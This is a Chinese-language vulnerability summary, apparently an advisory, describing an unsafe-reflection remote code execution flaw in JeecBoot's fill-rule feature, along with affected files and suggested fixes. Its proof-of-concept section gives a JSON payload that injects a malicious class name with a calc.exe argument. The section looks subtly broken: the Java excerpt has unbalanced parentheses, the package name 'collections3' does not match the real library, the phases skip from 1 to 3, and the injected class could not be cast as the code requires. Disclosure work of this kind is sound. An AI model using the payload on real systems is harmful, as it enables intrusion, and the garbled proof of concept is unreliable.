# 漏洞总结:jeecboot_JeecBoot 不安全反射导致远程代码执行 ## 漏洞概述 在 `jeecboot_JeecBoot` 系统中,`FillRuleUtil` 组件存在**二次远程代码执行(RCE)漏洞**。 - **根本原因**:`/sys/fillRule/edit` 接口缺乏基于角色的授权和输入验证,允许任何已认证用户修改现有填充规则,并将恶意类名存储到数据库中。 - **触发机制**:当管理员或用户通过 `/sys/sysDepart/add` 创建部门时,系统会检索该恶意规则,并使用 `Class.forName().newInstance()` 实例化恶意类,从而导致任意代码执行。 ## 影响范围 - **受影响版本**:`<= v3.9.1` - **受影响组件**: - `SysFillRuleController.java` (L96-100) - `SysDepartController.java` (L213-230) - `SysDepartServiceImpl.java` (L187-227) - `FillRuleUtil.java` (L30-84) - **入口点**: - 注入点:`POST /sys/fillRule/edit` - 触发点:`POST /sys/sysDepart/add` ## 修复方案 - **授权检查**:在 `SysFillRuleController.java` 的 `edit` 方法中增加 `@RequiresPermissions` 检查,限制对填充规则编辑的访问权限。 - **输入验证**:对 `ruleClass` 字段进行严格的白名单验证,禁止用户输入任意类名。 ## POC 代码 **恶意载荷 (Phase 1: Infection)** ```json { "id": "existing_fill_rule_id", "ruleCode": "org_num_role", "ruleClass": "org.apache.commons.collections3.functors.InvokerTransformer", "ruleParams": "{\"methodValue\": \"invoke\", \"args\": [\"calc.exe\"]}" } ``` **漏洞利用代码 (Phase 3: Detonation)** ```java // Line 36-38: Query sys_fill_rule table QueryWrapper queryWrapper = new QueryWrapper(); queryWrapper.eq("rule_code", ruleCode); // "org_num_role" JSONObject entity = JSON.parseObject(JSON.toJSONStringImpl.getOne(queryWrapper))); // Line 44: Extract ruleClass from database (now attacker-controlled) String ruleClass = entity.getString("ruleClass"); // Line 77: UNSAFE REFLECTION - RCE HERE IFillRuleHandler ruleHandler = (IFillRuleHandler) Class.forName(ruleClass).newInstance(); return ruleHandler.execute(params, formData); ```